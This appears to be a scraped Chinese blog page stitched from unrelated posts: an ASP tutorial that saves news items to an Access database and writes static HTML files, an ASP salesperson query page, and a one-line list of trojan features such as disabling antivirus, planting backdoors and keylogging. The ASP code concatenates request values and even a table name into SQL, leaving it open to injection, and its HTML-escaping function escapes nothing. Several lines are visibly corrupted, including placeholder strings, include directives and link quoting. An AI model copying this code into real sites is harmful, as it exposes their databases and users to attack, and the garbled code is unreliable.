fname = replace(fname,"上午","")
fname = replace(fname,"下午","")
makefilename=fname & ".shtml"
end function
‘保持数据格式不变的函数
function HTMLEncode(fString)
fString = replace(fString, ">", ">")
fString = replace(fString, "<", "<")
fString = Replace(fString, CHR(32), " ")
fString = Replace(fString, CHR(13), "")
fString = Replace(fString, CHR(10) & CHR(10), "<br>")
fString = Replace(fString, CHR(10), "<br>")
HTMLEncode = fString
end function
%>
--------------------------------------------------------------------------------
3,数据库连接页面conn.asp
完成数据库的字符串连接方法
<%
set conn = Server.CreateObject("ADODB.Connection")
connstr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("asp2html.mdb")
conn.Open connstr
%>
4,信息输入页面add.html
其实很简单:)就是表单嘛。注意action是跳转到addit.asp
引用:
--------------------------------------------------------------------------------
<form action="addit.asp" method="post">
Title:<input type="text" name="c_title"><br>
Content:<br>
<textarea name="c_content" rows="8" cols="30"></textarea><br>
<input type="submit" value="Add">
<input type="reset" value="Reset">
</form>
--------------------------------------------------------------------------------
5,处理数据功能显示页面addit.asp
首先是处理接受过来的数据,并将值写入数据库;接着将模板代码进行引用,并将其中特殊代码转换为接受值,最终通过FSO生成HTML页面。其中需要注意的还有,生成文件的路径地址保存至数据库表。
引用:
--------------------------------------------------------------------------------
<%‘容错处理
On Error Resume Next
%>
<!--#i nclude file="conn.asp" -->
<!--#i nclude file="lib.asp" -->
<%‘接受传递值
c_title=request.form("c_title")
c_content=request.form("c_content")
%>
<%‘生成HTML文件名,建立文件夹,指定文件路径
fname = makefilename(now()) ‘makefilename为自定义函数
folder = "newsfile/"&date()&"/"
filepath = folder&fname
%>
<%‘将接受值及路径保持至数据库表
sql = "Select * from c_news"
Set rs = Server.CreateObject ("ADODB.Recordset")
rs.Open sql,conn,3,2
rs.addnew
rs("c_title")=c_title
rs("c_content")=c_content
rs("c_filepath")=filepath
rs.update
rs.close
Set rs = Nothing
%>
<%‘打开模板代码,并将其中特殊代码转变为接受值
sql1="select m_id,m_html from c_moban where m_id=1"
set rs1=Server.CreateObject("adodb.recordset")
rs1.open sql1,conn,1,1
mb_code=rs1("m_html")
rs1.close
set rs1=nothing
conn.close
set conn=nothing
c_title=htmlencode(c_title)
c_content=htmlencode(c_content)
mb_code=replace(mb_code,"$cntop{LogContent}quot;,now())
mb_code=replace(mb_code,"$cnleft{LogContent}quot;,c_title)
mb_code=replace(mb_code,"$cnright{LogContent}quot;,c_content)
%>
<%‘生成HTML页面
Set fso = Server.CreateObject("Scripting.FileSystemObject")
fso.CreateFolder(Server.MapPath(folder))
Set fout = fso.CreateTextFile(Server.MapPath(filepath))
fout.WriteLine mb_code
fout.close
%>
文章添加成功,<a href="/showit.asp">浏览</a>
--------------------------------------------------------------------------------
6,显示数据库表记录,并做指向HTML页的链接:showit.asp
引用:
--------------------------------------------------------------------------------
<!--#i nclude file="conn.asp" -->
<!--#i nclude file="lib.asp" -->
<%
Set rs = Server.CreateObject ("ADODB.Recordset")
sql = "Select * from c_news order by c_id desc"
rs.Open sql,conn,1,1
%>
<%
if rs.EOF and rs.BOF then
response.write ("暂时还没有文章,<a href="/add.html>";添加</a>")
else
Do Until rs.EOF
%>
<table width="758" border="0" align="center" cellpadding="3" cellspacing="1" bgcolor="#000000">
<tr>
<td width="159" align="right" bordercolor="#CCCCCC" bgcolor="#CCCCCC"><%=rs("c_time")%></td>
<td width="591" bordercolor="#f3f3f3" bgcolor="#f3f3f3"><a href="/<";%=rs("c_filepath")%> target="a_blank"><%=rs("c_title")%></a></td>
</tr>
<tr>
<td valign="top" align="right" bordercolor="#ececec" bgcolor="#ececec">[<a href="/del.asp?c_id=<";%=rs("c_id")%>>Dell</a>][<a href="/change.asp?c_id=<";%=rs("c_id")%>>Edit</a>][<a href="/add.html">Add</a>]</td>
<td valign="top" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><%=htmlencode(rs("c_content"))%></td>
</tr>
</table><br>
<%
rs.MoveNext
Loop
end if
%>
<%
rs.close
Set rs = Nothing
conn.close
set conn=Nothing
%>
--------------------------------------------------------------------------------
7,修改数据内容页change.asp
修改数据内容,同时也需要修改更新对应的HTML页面。修改其实就是重新生成文件,且文件名和之前一样,类似文件的覆盖。
引用:
--------------------------------------------------------------------------------
<!--#i nclude file="conn.asp" -->
<!--#i nclude file="lib.asp" -->
<%id=request.querystring("c_id")%>
<%
if request.form("submit")="change" then
c_title=request.form("c_title")
c_content=request.form("c_content")
c_id=request.form("c_id")
c_filepath=request.form("c_filepath")
Set rs = Server.CreateObject ("ADODB.Recordset")
sql = "Select * from c_news where c_id="&c_id
rs.Open sql,conn,3,2
rs("c_title")=c_title
rs("c_content")=c_content
rs("c_time")=now()
rs.update
rs.close
Set rs = Nothing
%>
<%‘打开模板代码,并将其中特殊代码转变为接受值
sql1="select m_id,m_html from c_moban where m_id=1"
set rs1=Server.CreateObject("adodb.recordset")
rs1.open sql1,conn,1,1
mb_code=rs1("m_html")
rs1.close
set rs1=nothing
conn.close
set conn=nothing
c_title=htmlencode(c_title)
c_content=htmlencode(c_content)
mb_code=replace(mb_code,"$cntop{LogContent}quot;,now())
mb_code=replace(mb_code,"$cnleft{LogContent}quot;,c_title)
mb_code=replace(mb_code,"$cnright{LogContent}quot;,c_content)
%>
<%‘生成HTML页面
Set fso = Server.CreateObject("Scripting.FileSystemObject")
Set fout = fso.CreateTextFile(Server.MapPath(c_filepath))
fout.WriteLine mb_code
fout.close
%>
<%response.redirect("showit.asp")%>
<%end if%>
<%
if id<>"" then
Set rs = Server.CreateObject ("ADODB.Recordset")
sql="select * from c_news where c_id="&id
rs.Open sql,conn,1,1
c_id=rs("c_id")
c_filepath=rs("c_filepath")
c_title=rs("c_title")
c_content=rs("c_content")
end if
%>
<form action="change.asp" method="post">
Title:<input type="text" name="c_title" value=<%=c_title%>><br>
Content:<br>
<textarea name="c_content" rows="8" cols="30"><%=c_content%></textarea><br>
<input type="submit" value="change" name="submit">
<input type="reset" value="Reset">
<input name="c_id" type="hidden" value="<%=id%>">
<input name="c_filepath" type="hidden" value="<%=c_filepath%>">
</form>
--------------------------------------------------------------------------------
8,删除记录页del.asp
同样!删除,除了删除数据库表中的记录,与其对应的HTML页面也需删除。代码如下:
引用:
--------------------------------------------------------------------------------
<!--#i nclude file="conn.asp" -->
<%
c_id = request.querystring("c_id")
sql = "Select * from c_news where c_id="&c_id
Set rs = Server.CreateObject ("ADODB.Recordset")
rs.Open sql,conn,2,3
filepath=rs("c_filepath")
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile(Server.mappath(filepath))
Set fso = nothing
rs.delete
rs.close
Set rs = Nothing
conn.close
set conn=nothing
%>
<%response.redirect("showit.asp")%>
--------------------------------------------------------------------------------
四,其它功能
模板管理页面:
不会每次都是打开数据库表进行增加或者修改模板代码吧,所以,管理代码的页面程序不能少了,自己捣鼓下应该很简单的。当然,之前管理员的登录认证程序就不在书中交代了:)还有,如果设计了多个模板,那么在发表信息的时候应添加模板选择单选框,同样在执行转换HTML时,SQL选择的不同m_id了。
|
|
2007-06-13 17:48
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>业务员查询</title>
</head>
<body>
<form>
业务员姓名
<input type="text" name="yewu">
录入时间
<input type="text" name="riqi">
选择表
<select name="biao">
<option>成长</option>
<option>估值</option>
<option>客户资料</option>
<option>每日</option>
</select>
<input type="submit" name="Submit" value="查询">
<input type="reset" name="Submit2" value="重置">
<!--#include file="conn.asp"-->
<% dim yewu,riqi,biao,rs
yewu=request.form("yewu")
riqi=request.form("riqi")
biao=request.form("biao")
response.write biao
'response.end
set rs=server.createobject("adodb.recordset")
if riqi="" or yewu="" then
sql="select * from '"&biao&"' order by id"
else
sql="select * from "&biao&" where 业务员='"&yewu&"' or 录入时间 like '%"&riqi&"%' order by 业务员"
'sql="select * from "&biao
rs.open sql,conn,1,1
end if
%>
<table width="760" border="1">
<tr>
<td width="143">管理</td>
<td width="135">姓名</td>
<td width="147">电话</td>
<td width="117">业务员</td>
<td width="184">E_mail</td>
</tr>
<%if rs.eof then
%><tr>
<td bgcolor="#FFFFFF" colspan="8">
<p align="center"><font color="#FF0000">暂时没有任何资料记录!</font></p>
</td>
</tr>
<%else
const maxperpage=20 '定义每一页显示的数据记录的常量
dim currentpage '定义当前页的变量
rs.pagesize=maxperpage
currentpage=request.querystring("pageid")
if currentpage="" then
currentpage=1
elseif currentpage<1 then
currentpage=1
else
currentpage=clng(currentpage)
if currentpage > rs.pagecount then
currentpage=rs.pagecount
end if
end if
'如果变量currentpage的数据类型不是数值型
'就1赋给变量currentpage
if not isnumeric(currentpage) then
currentpage=1
end if
dim totalput,n '定义变量
totalput=rs.recordcount
if totalput mod maxperpage=0 then
n=totalput\maxperpage
else
n=totalput\maxperpage+1
end if
if n=0 then
n=1
end if
rs.move(currentpage-1)*maxperpage
i=0
do while i< maxperpage and not rs.eof
%>
<%
i=i+1
rs.movenext
loop
%>
<tr>
<td><%=rs("姓名")%></td>
<td><%=rs("电话")%></td>
<td><%=rs("业务员")%></td>
<td><%=rs("邮箱")%></td>
</tr>
</table>
<table width="770" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td width="550">页数:<%=currentpage%>/<%=n%>
<%k=currentpage
if k<>1 then%>
<a href="123.asp?pageid=1">首页</a>]
[<a href="123.asp?pageid=<%=k-1%>">上一</a>]
<%else%>
[首页] [上一页]
<%end if%>
<%if k<>n then%>
[<a href="123.asp?pageid=<%=k+1%>">下一</a>]
[<a href="123.asp?pageid=<%=n%>">尾页</a>]
<%else%>
[下一页] [尾页]
<%end if%>
共有<font color="red"><%=totalput%></font>条记录
</td>
<td width="44">
<td width="131" height="23">
<p align="right">
<%
i=1
do while not i > n
%>
<option value="123.asp?pageid=<%=i%>" <%if i=currentpage then %>selected<%end if%>>第 <%=i%> 页</option>
<%
i=i+1
loop
end if
%>
</select>
</form>
</td>
</tr>
</body>
</html>
|
2007-03-10 14:56
自启动。
隐藏进程。
自动关闭杀毒软件。
制造后门。
键盘记录。
屏幕记录。
|
|
| |